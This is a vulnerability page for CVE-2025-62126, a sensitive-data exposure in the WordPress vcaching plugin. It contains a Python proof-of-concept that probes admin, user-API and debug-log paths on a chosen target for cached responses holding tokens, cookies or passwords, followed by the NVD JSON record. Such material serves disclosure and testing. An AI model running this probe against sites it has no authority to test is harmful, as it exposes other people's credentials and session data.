CVE-2025-62126

import requests # CVE-2025-62126 PoC - Varnish/Nginx Proxy Caching Information Disclosure # Target: WordPress site with vcaching plugin <= 1.8.3 target_url = input("Enter target URL: ") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Test for cached sensitive information test_paths = [ '/wp-admin/', '/wp-admin/admin.php?page=vcaching', '/wp-json/wp/v2/users/', '/wp-content/debug.log' ] print(f"[*] Testing {target_url} for CVE-2025-62126") print(f"[*] Vulnerability: Sensitive Information in Proxy Cache\n") for path in test_paths: url = target_url.rstrip('/') + path try: response = requests.get(url, headers=headers, timeout=10, allow_redirects=False) # Check for cache-related headers cache_headers = ['X-Varnish', 'X-Cache', 'Age', 'X-Cache-Hits'] found_headers = [h for h in cache_headers if h in response.headers] if found_headers: print(f"[!] Path: {path}") print(f" Status: {response.status_code}") print(f" Cache Headers: {', '.join(found_headers)}") print(f" Age: {response.headers.get('Age', 'N/A')}") # Check for sensitive data in response sensitive_patterns = ['wp_user', 'session', 'auth', 'token', 'cookie', 'password'] for pattern in sensitive_patterns: if pattern.lower() in response.text.lower(): print(f" [!] Potential sensitive data found (pattern: {pattern})") break print() except requests.RequestException as e: print(f"[-] Error accessing {path}: {e}") print("[*] Scan complete") print("[*] Recommendation: Upgrade vcaching to version > 1.8.3 or disable caching for sensitive endpoints")

{"cve": {"id": "CVE-2025-62126", "sourceIdentifier": "[email protected]", "published": "2025-12-31T16:15:45.163", "lastModified": "2026-04-23T15:34:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Razvan Stanga Varnish/Nginx Proxy Caching vcaching allows Retrieve Embedded Sensitive Data.This issue affects Varnish/Nginx Proxy Caching: from n/a through <= 1.8.3."}, {"lang": "es", "value": "Vulnerabilidad de inserción de información sensible en datos enviados en Razvan Stanga Varnish/Nginx Proxy Caching permite recuperar datos sensibles incrustados. Este problema afecta a Varnish/Nginx Proxy Caching: desde n/a hasta 1.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/vcaching/vulnerability/wordpress-varnish-nginx-proxy-caching-plugin-1-8-3-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}